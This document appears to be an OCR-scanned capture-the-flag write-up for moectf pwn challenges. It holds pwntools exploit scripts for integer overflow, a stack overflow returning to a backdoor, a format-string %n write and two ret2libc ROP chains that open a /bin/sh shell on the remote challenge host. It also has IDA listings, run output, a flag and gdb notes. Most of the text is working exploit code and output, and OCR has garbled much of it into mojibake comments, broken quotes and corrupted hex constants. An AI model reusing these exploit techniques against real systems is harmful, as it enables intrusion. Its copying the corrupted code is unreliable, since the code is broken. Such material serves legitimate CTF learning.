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# Int_overflow

context(log_level="debug', os='Linux', arch="'amdé64')

p = remote("pwn.blackbird.wang", 9501)

payload = "2147483648"

#3# Bpayload = "-2147483648", RE{RiFpayload I ZHfG21111111111111111807 . XEERBEHA TG L0
p.sendlineafter("Input an int ( <@ )\n", payload)

p.interactive()
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[F Functions window O & x  [F IDi Viev-i [E Pseudocode—4 B @ Hex Vi
Function name Segment Start 1int _ cdecl main(int argc, const char **ar
[] _init_proc .init 0000000000400530 2 _

7| sub_400550 .plt (000000000400550 3| char s; //

|____f_ _system .plt 0000000000400560 ::1 .

|f] _memset .plt 0000000000400570 50 setvbuf(stdin, 6LL, 2, OLL);

|f]| _read .plt 0000000000400580 6] setvbuf(stdout, OLL, 2, OLL);

|f| _setvbuf .plt 0000000000400590 7 setvbuf(stderr, OLL, 2, OLL);
|____f__start . text 0000000000400540 g1 memset(&s, @, OxAuLL);
g__dl_relocate_static_pie . text 000000000 4005D0 9 read(®, &s, Ox100ull);

|___f_ deregister_tm_cleones . text 00000000004005E0 10 ey,

|_)_‘_ regizter_tm_clones . text QOQO000000400810 11} o ) e

/]| __do_global_dtors_aux . text 0000000000400650 WE T =TEhX, G541
Flfnana dunns: .text 0000000000400680 " e AeE. e
E backdoor . text 0000000400687 fﬁtﬁ}g" @E "5SS, Eﬂzfl]ﬁﬁﬁq
7 main . text 0000000000400694 HSbiE FEERE

|_£'_ __libc_csu_init . text 0000000000400740

|_)_‘_ __libec_czu fini . text QO0O000000400TED

|fl term prec . fini 00000000004007E4

|IF] system extern 0000000000601098

|___L nemset extern 0000000000601 0A0

|_f_ read extern 0000000000601 048

|_f_ __libc_start_main extern 0000000000601 08B0

|___f_ setvbuf extern 0000000000601 0E8

|f| __gmon_start__ extern 000QQ00000A01 0CH ()5 S e YR 5 i 5
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3| return system("/bin/sh");
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from pwn import *

context(log_level = 'debug', arch = 'amdé4', os = 'linux')

p=remote("pwn.blackbird.wang",9502)

backdoor_addr=0x400687

#3505 FARICH, EEXEMNME, A [rbp-ox70]. HTR6AMESL, EFHHebp, ME+8F V. FHIL L = 0x70 + 8
#EBP(Base Pointer)RiRMiZEIEIE4T 728, BT 8RBT RLAR ol i 12 i Hh bk
payload=b'a"'*(0x0A+0x08)+p64(backdoor_addr)

p.sendline(payload)

p.interactive()
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from pwn import*
context(log_level="'debug',os="Linux',arch="x86")
p=remote("pwn.blackbird.wang",9503)
unk_addr=0x0804C044
payload=p32(unk_addr)+b'a"'*6+b"%10$n"
p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd:","10")
p.interactive()

babyrop

from pwn import*

from LibcSearcher import*

elf = ELF('C:\\Users\\DELL\\Desktop\\babyrop")
p=remote("pwn.blackbird.wang",9504)

system = elf.plt["system"]

puts_plt = elf.plt['puts']

puts_got = elf.got['puts']

main_addr = elf.symbols['main']

payloadl=b'a'*(0x28+0x4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.recvuntil("advise?\n")

p.sendline(payloadl)

puts_addr=u32(p.recv()[0:4])

print("puts_addr:"+hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)

base = puts_addr - libc.dump('puts')

sys_addr=base+libc.dump('system")

binsh=base+libc.dump('str_bin_sh")

payload2=b'a'*(0x28+0x4) +p32(sys_addr) + b'a'*4 +p32(binsh)

p.sendline(payload2)

p.interactive()



PIE: No PIE (0x8048600)
[x] opening connection to pwn.blackbird.wang on port 9504

[x] Opening connection to pwn.blackbir yang on port 9504: Trying 1.117.139.210

BytesWarning: Text is not
).recvuntil("advise?\n")
[+] Opening connection to pwn.blackbird.wang on port 9504: Done
puts_addr:0xf7e2e460
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libcé_2.26-0ubuntu2_amds4
1ibcé-1386_2.13-20ubuntu5s_amdé4
libc-2.31-4-x86

libc-2.31-5-x86

libcé_2.26-0ubuntu2.1_amd64

TWITERING Th InTRRACTIVA mMNAe CSDN' @FRERHIZHIHS

e test

Hello,here is lacanva

I'm a fan of vtubers

But one day Nana7mi and Azi start their live boradcast at the same time
Whose live boradcast should I watch?

ive me some advise?

bin
dev
flag
lib
1ib32

moectf{do_you_11k3_vtuber_too?}

ezrop



# ezROP
from pwn import *
from LibcSearcher import *

r = remote('pwn.blackbird.wang', 9506)
elf = ELF('C:\\Users\\DELL\\Desktop\\COMP\\ezrop")

main = @x400b28
pop_rdi = 0x400c83
ret = 9x4006b9

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

r.sendlineafter('choice!\n', b'1l")
payload = b'\@' + b'a"' * (Bx50 - 1 + 8)
payload += p64(pop_rdi)

payload += p64(puts_got)

payload += p64(puts_plt)

payload += p64(main)

r.sendlineafter('encrypted\n', payload)
r.recvline()
r.recvline()

puts_addr = u64(r.recvuntil(b'\n')[:-1].1just(8, b'\0"'))

libc = LibcSearcher('puts', puts_addr)
offset = puts_addr - libc.dump('puts')
binsh = offset + libc.dump('str_bin_sh")
system = offset + libc.dump('system")

r.sendlineafter('choice!\n', b'1")

payload = b'\@' + b'a" * (0x50 - 1 + 8)
payload += p64(ret)

payload += p64(pop_rdi)

payload += p64(binsh)

payload += p64(system)

r.sendlineafter('encrypted\n', payload)

r.interactive()
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file B2 BIISCH

p:ITER
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step HBIHA
next HBHid
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info b BEEWIR

del num MBRET &
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x/s Huhk BEFH

x/wx Hisk  FEDWORD

x/c Huhk BYWHEE

x/16x $esp+12 BEFHEBWB

set args WHEBITHSH. (W0: set args 10 20 30 40 50)
show args WA UEERBEIFNETSH.
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